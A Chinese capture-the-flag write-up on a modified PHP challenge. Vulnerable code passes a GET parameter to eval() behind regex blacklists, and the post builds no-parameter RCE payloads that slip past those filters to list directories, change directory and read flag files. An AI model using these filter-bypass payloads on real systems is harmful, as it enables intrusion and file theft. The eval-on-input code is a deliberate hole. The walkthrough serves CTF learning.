0xctf[No parameters readfile](魔改版[GXYCTF2019]禁止套娃)
阅读本文前建议先阅读本站中的另一篇文章:[GXYCTF2019]禁止套娃
重要参考链接:http://www.heetian.com/info/827
Leon师傅魔改了[GXYCTF2019]禁止套娃这道题,将过滤掉的字符串增加了一大堆.打开题目得到的源码如下:
1 <?php
2 header("Content-Type: text/html;charset=utf-8");
3 highlight_file(__FILE__);
4 error_reporting(0);
5 if(isset($_GET['exp'])){
6 if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//im', $_GET['exp'])) {
7 if(';' === preg_replace('/[^\W]+\((?R)?\)/', NULL, $_GET['exp'])) {
8 if (!preg_match('/et|cu|pos|show|high|reset|local|sess|header|readfile|heb|oo|info|dec|bin|ex|oct|pi|sys|open|log/im', $_GET['exp'])) {
9 @eval($_GET['exp']);
10 }
11 else{
12 die("还差一点哦!");
13 }
14 }
15 else{
16 die("再好好想想!");
17 }
18 }
19 else{
20 die("还想读flag,臭弟弟!");
21 }
22 }
23 ?>
我们可以看到在第八行Leon师傅将能禁的字符串几乎都禁了一遍,于是菜狗M1saka开始了构造:
首先我们需要遍历当前目录,即我们需要构造scandir(".").即构造".",这里给出我们的思考过程:
- 利用localeconv()函数得到"." localeconv()函数返回的是包含本地数字及货币格式信息的数组,这个数组的第一个元素就是".",利用current(localeconv())就可以得到".",但是帅气的Leon师傅把我们的local直接给禁了,这个思路不通.
- "."可以用chr(46)进行表示,于是我们开始绞尽脑汁构造46:chr(rand()) chr里面的值只需要是周期内的46都可,但是chr(rand())获得46的几率过小,像我这种非酋就不必了吧; 我们也可以利用时间函数去获得46,毕竟时间函数获得的是0~60之间的数字,比rang几率大多了.但是每一次构造payload都要等一分钟,实在是麻烦 ; 第三种我们可以利用PHP的数学函数,结合phpversion()去尝试拼凑出46.本题的环境是7.0.3,于是在exp中构造得到ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))));,运行得到46 但是我们机制的Leon师傅直接把"oo"给ban了,于是这个方法还是不通.
- hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 "."(小概率) 然后通过chr(ord())只取第一个字符.可是Leon师傅继续ban了'heb',此路不通.
4.strrev(crypt(serialize(array())))可以得到"."这就是这道题第一步的突破点.上图:


但是在第二张图里面我们发现读到了根目录,其实strrev(crypt(serialize(array())));不光能获得".",还能获得"/",于是就读到了根目录
读完文件夹之后我们已经看到了flag.php,于是我们尝试去读取:
1 payload:readgzfile(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));
因为flag.php在倒数第二个位置,并且Leon师傅ban了"ex",并不能使用next()函数,所以我们采取这种读取随机文件的方式,array_rand(array_flip())选取该文件夹用数组表示的任意一个元素并且将键值与元素进行调换,array_rand()函数是随机选取数组中的一个元素,于是我们在传入这个payload之后,要进行多次刷新,这样的话我们不但能读到flag.php与index.php,
还有一个小细节,因为Leon师傅ban了show_source() , readfile(),high_light(), 等常用读文件函数,于是我们使用readgzfile()函数,回显在源码里面
于是我们成功读到了flag.php:

针不龊 假的flag针不龊
做到这里M1saka直接冲到楼上Leon师傅的寝室去暴打他。
既然我们已经知道flag在上级目录里面,接下来的操作就是先尝试去查看上级目录里面的文件,进行目录穿越,找到真正的flag之后进行读取。并且我们需要用chdir()进行目录切换,否则在当前目录并不能读取上层目录的文件。
接下来我们要去尝试构造"..",因为getcwd()与hebrevc(crypt(time()))都被我们帅气的Leon师傅ban了,仔细一想,似乎刚刚在遍历目录的时候,第二个数组永远是".."于是我们可以尝试使用套娃的方式去获得".."
1 payload:?exp=print_r(scandir(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))))));
因为是随机选取数组元素,我们需要多进行几次刷新才能获得回显,期望回显如下图:

坏蛋Leon放了好几个假flag嘤嘤嘤
我们已经可以推断出该题的文件结构:var文件夹里面存在的是www文件夹,www文件夹里面存在的是fackflag.php,noflag.php,realflag.php以及html文件夹,就是我们题目初始所在的文件夹。
此时如果我们直接对www文件夹进行读取的话并不会有任何的回显,因为在本题目中默认的文件夹是我们的html文件夹,不能直接进行跨文件夹读取文件,于是我们开始尝试用chdir()函数进行切换文件夹。
realpath()函数返回该文件的绝对路径,在本题中应用:
1 payload:?exp=print_r(realpath(end(scandir(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))))))));
得到的回显有两种:/var/www/html与/var/www/html/index.php
原因是我们的随机函数有可能会选到当前目录或者index.php,我们可以使用dirname()函数返回当前路径下的目录,然后chdir()该目录就能转到我们想要的目录并进行文件读取。(记得多刷新亿次因为我们使用的是随机函数)
巧用if()函数的payload:
if()函数进行切换目录,如果切换成功了的话进行随机文件读取(与我们刚开始读假flag的手段一样)因为if语句的中如果切换目录失败了的话就不能执行后面的语句,起到了一定的过滤性
payload:?exp=if(chdir(dirname(realpath(end(scandir(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))))))))))readgzfile(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));
来看看Leon师傅藏了多少flag:


最终我们还是读到了真正的flag(给你干净防止小b崽子们不好好学习白嫖flag)

0xctf[No parameters readfile](魔改版[GXYCTF2019]禁止套娃)的更多相关文章
- [GXYCTF2019]禁止套娃 1 &无参数RCE
[GXYCTF2019]禁止套娃 1 啥都没有那只能上扫描器来一探究竟了. 扫完没有啥结果,但网上找了一下说是git泄露,但是我这里显示了403. <?php include "fla ...
- [BJDCTF 2nd]old-hack && [GXYCTF2019]禁止套娃
[BJDCTF 2nd]old-hack 页面很有意思 同时也告诉了我们是THINKPHP5,我们只需要寻找THINKPHP5的漏洞就可以了. https://www.codercto.com/a/5 ...
- [GXYCTF2019]禁止套娃(无参RCE)
[GXYCTF2019]禁止套娃 1.扫描目录 扫描之后发现git泄漏 使用githack读取泄漏文件 <?php include "flag.php"; echo &quo ...
- [GXYCTF2019]禁止套娃
0x00 知识点 无参数RCE eval($_GET['exp']); 参考链接: https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/ ...
- 刷题[GXYCTF2019]禁止套娃
梳理思路 打开网站,发现很简单,只有flag在哪里的字样. 查看源码,常用后台目录,robots.txt,都未发现有任何东西. 扫描 直接拉进扫描器一扫,发现 思考可能是git源码泄露,可能可以恢复源 ...
- 魔改版ss-panel v3前端配置文件
配置文件所在目录:网站根目录/config/.config.php <?php // ss-panel v3 配置 // // !!! 修改此key为随机字符串确保网站安全 !!! $Syste ...
- sspanelv3魔改版邮件设置指南及常用配置
要进行SSpanel v3魔改版邮件设置,需要在设置文件(位于config/.config.php下)中修改两处内容: 1.设置发送邮件的方式 $System_Config['enable_email ...
- 魔改版BBR
魔改版bbr加速: wget -N --no-check-certificate "https://raw.githubusercontent.com/chiakge/Linux-NetSp ...
- 【题解】kth异或和/魔改版线性基
[题解]魔改版线性基 魔改版线性基解决此类问题. 联系线性空间的性质,我们直接可以构造出这样的基: \[ 100000 \\ 010000 \\ 000010 \\ 000001 \] 使得每个基的最 ...
随机推荐
- 初级知识点二——C#值传递
C#中有值传递和引用传递,这个东西一直有点儿绕,今天花点儿时间来把这个事情搞清楚. 传递值类型的参数 值类型的变量,是直接包含其数据的.实际上,在向方法传递一个值类型变量,其实就意味着向方法传递了一个 ...
- lombok配置
lombok在springboot中无需配置即可在控制台输出. 一般使用backlog.xml作为配置文件. 在application中指定backlog位置 不做任何配置时候,logback.xml ...
- js error 错误处理
(new) Error([message[, fileName[,lineNumber]]]) 单独定义Error()错误,函数继续进行 当像函数一样使用 Error 时 -- 如果没有 new,它将 ...
- [bash]查找指定目录下符合格式的txt文件
需求: 查找指定目录下符合yyyy-MM-dd(-b)NNN.txt格式的文件,如“2020-03-22-b888.txt” 目标目录内容: [root@localhost bashs]# ll /r ...
- 操作DOM对象
操作DOM对象 目录 操作DOM对象 1. 核心 2. 获得Dom节点 3. 更新节点 1. 操作文本 2. 操作CSS 4. 删除节点 5. 插入节点 1. 追加(将已存在的节点移到后面) 2. 创 ...
- Salesforce LWC学习(二十五) Jest Test
本篇参看: https://trailhead.salesforce.com/content/learn/modules/test-lightning-web-components https://j ...
- JS -- JavaScript简介
JavaScript是一种属于网络的高级脚本语言(解释性脚本语言),已经被广泛用于Web应用开发,常用来为网页添加各式各样的动态功能,为用户提供更流畅美观的浏览效果. 一.如何插入JS代码? 使用&l ...
- Linux:less and Aix:more
在运维工作中,经常要查询应用日志,有Linux和Aix系统,个人感觉,Linux查询日志用less命令比较方便,Aix查询日志用more命令比较方便,在此总结一下两个命令的使用方法 AIX more命 ...
- python3 if
if-else python中特有if-elif-else语句
- 软件定义网络(SDN)第二次实验报告
目录 实验 2 :Mininet 实验--拓扑的命令脚本生成 一.实验目的 二.实验任务 三.实验要求 四.具体实验步骤 引导实验 Part 1 引导实验 Part 2 本周实验任务完成流程 五.注意 ...